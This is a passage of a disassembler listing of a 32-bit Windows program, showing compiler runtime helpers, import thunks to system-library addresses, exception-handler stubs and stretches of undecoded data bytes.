		cmp	eax, 1000h
		jnb	short loc_43684C


loc_436860:				; CODE XREF: sub_436840+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax


loc_436866:				; CODE XREF: ___:0043687Bj
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_436840	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 0EAh, 0Dh
; ---------------------------------------------------------------------------
		xor	dword ptr [edi-17h], 777E6715h
		jmp	short loc_436866
; ---------------------------------------------------------------------------


loc_43687D:				; CODE XREF: ___:00436804j
		cmc
		xchg	eax, ecx
		xor	byte ptr [edi-31h], 90h
		jmp	near ptr 77C47A50h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0F0h, 35h
		dd 0E9907780h, 7781108Ch, 5B6DE990h, 3D83777Fh,	50E9F4h
		dd 0FF0C75FFh, 90042474h, 7FE54BE8h, 68C35977h,	50E9E4h
		dd 50E9F468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch
		dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 593DE990h
		dd 0D9E9777Fh, 0E6778008h, 8008EAE9h
		db 77h,	0C5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368EA	proc near		; CODE XREF: sub_4198C0+28p
		nop
		jmp	near ptr 77C4FA10h
sub_4368EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4368F0	proc near		; CODE XREF: sub_41B820+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_436911
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436961
; ---------------------------------------------------------------------------


loc_436911:				; CODE XREF: sub_4368F0+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_43691F:				; CODE XREF: sub_4368F0+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_43691F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_43694A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_43694A
		jb	short loc_436952
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_436952


loc_43694A:				; CODE XREF: sub_4368F0+4Aj
					; sub_4368F0+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_436952:				; CODE XREF: sub_4368F0+52j
					; sub_4368F0+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436961:				; CODE XREF: sub_4368F0+1Fj
		pop	ebx
		retn	10h
sub_4368F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436970	proc near		; CODE XREF: sub_41B820+30p
					; sub_41B820+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436992
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4369D3
; ---------------------------------------------------------------------------


loc_436992:				; CODE XREF: sub_436970+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4369A0:				; CODE XREF: sub_436970+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369A0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4369CE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4369CE
		jb	short loc_4369CF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4369CF


loc_4369CE:				; CODE XREF: sub_436970+4Ej
					; sub_436970+54j
		dec	esi


loc_4369CF:				; CODE XREF: sub_436970+56j
					; sub_436970+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4369D3:				; CODE XREF: sub_436970+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436970	endp

; ---------------------------------------------------------------------------
		dd 80A0D4E9h, 0E990C277h, 7780862Ch, 1477E990h,	87E97781h
		dd 747780A4h, 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h
		dd 0E9907780h, 7780AD33h, 11D2E990h, 0E9907781h, 7780B15Eh
		dd 84DCE990h, 0E9907780h, 7780A3F3h, 569DE990h,	36E9777Fh
		dd 2777E5Bh, 8003C1E9h,	0E9907677h, 778007C2h, 7E887FE9h
		dd 0E9902577h, 77808EEDh, 80AE21E9h, 0E990E177h, 7780398Bh
		dd 38B1E990h, 0E9907780h, 778126B7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436A5C	proc near		; CODE XREF: ___:0043168Cp
		jmp	near ptr 77C3619Ch
sub_436A5C	endp

; ---------------------------------------------------------------------------
		db 71h,	90h, 0E9h
		dd 7780030Ch, 0A143E990h, 46D37780h, 7C801190h,	8BD577Ah
		dd 3DCE3AFAh, 0A16467h,	50000000h, 258964h, 83000000h
		dd 565368ECh, 0E8658957h, 5D89DB33h, 90026AFCh,	7FE8DBE8h
		dd 0D835977h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h
		dd 0D8B777Eh, 50E8E8h, 0E8900889h, 777E86E0h, 0E8E40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E9D8h, 12EE8h, 1D3900h
		dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h,	0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h
		dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h,	8D509045h
		dd 0E850A045h, 777E83C3h, 32086890h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 22C95BEh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 2CE85353h, 900243AFh
		dd 0B322E850h, 4589FFFCh, 0D3E85098h, 90778032h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 778032CEh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436BCC	proc near		; CODE XREF: ___:00436814p
		nop
		jmp	near ptr 77C21868h
sub_436BCC	endp

; ---------------------------------------------------------------------------
		dw 7AE9h
dword_436BD4	dd 39777FE2h, 8032BDE9h, 0E9903277h, 777FC1CAh,	8301E990h
		dd 0E990777Eh, 77803177h, 3000068h, 6800h, 25E80001h, 59000000h
		dd 0E990C359h, 77816A6Dh, 0C3C3C033h, 8592E990h, 0E990777Eh
		dd 777E85C3h, 0E75EE990h, 0E990777Fh, 777FF070h, 8205E990h
		dd 0E9907781h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
		dd 0C58844E9h, 0E9E94E75h, 1375C697h, 0B319E990h, 0E99075C4h
		dd 75C54BF8h, 0C60A56E9h, 0E9909575h, 75C4EE84h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436C60	proc near		; CODE XREF: sub_4192C0+17Ep
		jmp	near ptr 76D6AC1Dh
sub_436C60	endp

; ---------------------------------------------------------------------------
		db 67h,	90h
		db 0E9h
		dd 2399B7Fh, 9C15E990h,	13E90239h, 2002399Eh, 9382E990h
		dd 0E990023Ah, 23B937Ch, 3C9377E9h, 0E990CF02h,	23D9370h
		dd 3E936BE9h, 0E9907E02h, 23EA9E0h, 0AC45E990h,	0C4E9023Eh
		dd 88023EAFh, 0B240E990h, 0E990023Eh, 23F934Ch,	9C0EE990h
		dd 41E9023Fh, 16024093h, 96D6E990h, 35E90240h, 0E6024193h
		dd 975CE990h, 31E90241h, 0AE02419Ah, 429323E9h,	0E990B802h
		dd 243931Ch, 0A46AE990h, 0E9900243h, 243ADD7h, 930AE990h
		dd 0EEE90244h, 8802449Ah, 449FA4E9h, 0E9908802h, 24592F8h
		dd 92F2E990h, 0E9900239h, 2389C10h, 92E6E990h, 0E1E90238h
		dd 28023792h, 9BC1E990h, 0E9900236h, 23692D4h, 92CEE990h
		dd 0E9900235h, 234A1C0h, 349D36E9h, 0D6E94E02h,	0D4023498h
		dd 92B6E990h, 0B1E90234h, 0DC022C92h, 970EE990h, 0E9900233h
		dd 23396C4h, 9669E990h,	0E9900233h, 7C4CA385h, 0A297E990h
		dd 0E9907C4Ch, 23393D5h, 339287E9h, 0E990DE02h,	2329C67h
		dd 32999BE9h, 0E9908802h, 2329928h, 97DFE990h, 0E9900232h
		dd 2329679h, 3294C6E9h,	5DE98802h, 67023292h, 31A037E9h
		dd 0D0E94E02h, 5802319Dh, 319BF1E9h, 0E9900702h, 23198BBh
		dd 31980FE9h, 39E98002h, 0E8023192h, 9EC7E990h,	93E90230h
		dd 0CF02309Bh, 9997E990h, 5EE90230h, 74023095h,	921AE990h
		dd 0E9900230h, 22F9D62h, 9A47E990h, 0E990022Fh,	22F99B4h
		dd 9202E990h, 0E990022Fh, 22E9D7Ah, 2E9ABBE9h, 0E990B802h
		dd 22E9758h, 2E91EBE9h,	0E990B802h, 22D9E89h, 2D9C8EE9h
		dd 0E9908802h, 22D9982h, 2D9792E9h, 0E990E302h,	22D91CCh
		dd 92FCE990h, 96E9022Ch, 74001B91h, 94C7E990h, 0E9900245h
		dd 24FA2B8h, 4B91AFE9h,	0A9E95A02h, 6C024F91h, 4E93C1E9h
		dd 9DE90202h, 0DE024E91h, 9196E990h, 0E990024Dh, 24C93C7h
		dd 918AE990h, 0E990024Ch, 24B9DF2h, 4B9A09E9h, 0E9901B02h
		dd 24B98BCh, 4B95DFE9h,	21E95802h, 37024598h, 9DBEE990h
		dd 0E990024Ah, 24A99A2h, 9569E990h, 55E9024Ah, 16024A91h
		dd 914EE990h, 49E90249h, 46024891h, 0ACF1E990h,	0E9900247h
		dd 247A9A4h, 0A626E990h, 0E9900247h, 247A479h, 912AE990h
		dd 0E9900247h, 2469124h, 60A22FE9h, 0E990A47Ch,	7167D059h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436EE8	proc near		; CODE XREF: ___:0042C8F1p
		nop
		jmp	near ptr 71AB4FD4h
sub_436EE8	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71687585h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EF4	proc near		; CODE XREF: sub_42C8E1+1p
		jmp	near ptr 71AB2BF4h
sub_436EF4	endp

; ---------------------------------------------------------------------------
		db 0CAh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436EFA	proc near		; CODE XREF: sub_42CC50+E5p
					; sub_42DC70+4Fp
		jmp	near ptr 71AB615Ah
sub_436EFA	endp

; ---------------------------------------------------------------------------
		db 0E6h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F00	proc near		; CODE XREF: sub_42D1A0+9Ap
					; sub_42DD50+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_436F00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F06	proc near		; CODE XREF: sub_42DFD0+53p
					; sub_42DFD0+96p ...
		nop
		jmp	near ptr 71AB9639h
sub_436F06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F0C	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436F0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F12	proc near		; CODE XREF: sub_42CE80+71p
					; sub_42DA60+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436F12	endp

; ---------------------------------------------------------------------------
		dd 67BCA3E9h
		db 71h,	0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F1E	proc near
		jmp	near ptr 71AB88D3h
sub_436F1E	endp

; ---------------------------------------------------------------------------
		db 92h
		db 90h
		db 0E9h, 3Ch, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F2A	proc near		; CODE XREF: sub_42D580+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436F2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F30	proc near
		jmp	near ptr 71AB3E00h
sub_436F30	endp

; ---------------------------------------------------------------------------
		db 79h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F36	proc near		; CODE XREF: sub_42C810+B1p
		nop
		jmp	near ptr 71AB2B66h
sub_436F36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F3C	proc near		; CODE XREF: ___:0042C93Fp
					; sub_42D580+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436F3C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F42	proc near
		nop
		jmp	near ptr 71AB406Ah
sub_436F42	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DAh, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F4E	proc near		; CODE XREF: sub_42C790+10p
		nop
		jmp	near ptr 71AB664Dh
sub_436F4E	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 6Eh, 0E1h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F5A	proc near		; CODE XREF: sub_4338B0+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436F5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F60	proc near		; CODE XREF: sub_41A6D0+92p
					; sub_41A8C0+CAp ...
		jmp	near ptr 71AB4544h
sub_436F60	endp

; ---------------------------------------------------------------------------
		db 0CFh, 0E9h, 0E5h
		dd 0ED71689Bh, 0D5A7E990h, 0E9907167h, 7167BC48h, 0BD91E990h
		dd 0E6E97167h, 8D7167BCh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F84	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_436F84	endp

; ---------------------------------------------------------------------------
		dw 0DAE9h
		dd 9A716817h, 0D4F3E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F96	proc near		; CODE XREF: sub_42C810+53p
					; sub_42C810+C3p
		nop
		jmp	near ptr 71ABE6EBh
sub_436F96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9C	proc near		; CODE XREF: sub_42DFD0+4Ap
		nop
		jmp	near ptr 71AC0BDEh
sub_436F9C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA2	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_436FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA8	proc near		; CODE XREF: ___:0041C1B7p
					; ___:0041C1CCp
		nop
		jmp	near ptr 71B2578Ch
sub_436FA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FAE	proc near		; CODE XREF: ___:0041C30Dp
					; ___:0041C32Fp
		jmp	near ptr 71B25099h
sub_436FAE	endp

; ---------------------------------------------------------------------------
		db 88h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FB4	proc near		; CODE XREF: sub_41FF90+B4p
		jmp	near ptr 76BF215Ah
sub_436FB4	endp

; ---------------------------------------------------------------------------
		inc	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FBA	proc near		; CODE XREF: sub_41FF90+9Bp
		jmp	near ptr 76BF1F1Ch
sub_436FBA	endp

; ---------------------------------------------------------------------------
		db 34h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC0	proc near		; CODE XREF: sub_41FF90+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_436FC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FC6	proc near		; CODE XREF: ___:0041B1B4p
		nop
		jmp	near ptr 76F36C5Bh
sub_436FC6	endp

; ---------------------------------------------------------------------------
dword_436FCC	dd 80F27DE9h, 0E990DC77h, 7780F14Dh, 0F192E990h, 3DE97780h
		dd 207780F3h, 2C7h dup(0CCCCCCCCh), 0FB988D8Dh,	1BE9FFFFh
		dd 8DFFFC97h, 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh,	0FFFFFBB0h
		dd 0FC9705E9h, 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh
		dd 0E083FFFFh, 0FC08501h, 884h,	44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_4367C8
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437B7B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_4367C8
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_4367C8
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FC8:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C90	proc near		; DATA XREF: sub_403C90+2o
		mov	eax, offset dword_43E730
		jmp	sub_4367C8
SEH_403C90	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_437FF8:				; DATA XREF: ___:0043E794o
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D10	proc near		; DATA XREF: sub_403D10+2o
		mov	eax, offset dword_43E768
		jmp	sub_4367C8
SEH_403D10	endp

; ---------------------------------------------------------------------------
		db 13h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403D90	proc near		; DATA XREF: sub_403D90+2o
		mov	eax, offset dword_43E7A0
		jmp	sub_4367C8
SEH_403D90	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_438048:				; DATA XREF: ___:0043E7FCo
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403E00	proc near		; DATA XREF: sub_403E00+2o
		mov	eax, offset dword_43E7D0
		jmp	sub_4367C8
SEH_403E00	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_4380C8:				; DATA XREF: ___:0043E85Co
		mov	ecx, [ebp-10h]
		add	ecx, 49h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 92h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 124h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 16Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B6h
		jmp	sub_401AD2

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403EE0	proc near		; DATA XREF: sub_403EE0+2o
		mov	eax, offset dword_43E830
		jmp	sub_4367C8
SEH_403EE0	endp

; ---------------------------------------------------------------------------
		db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
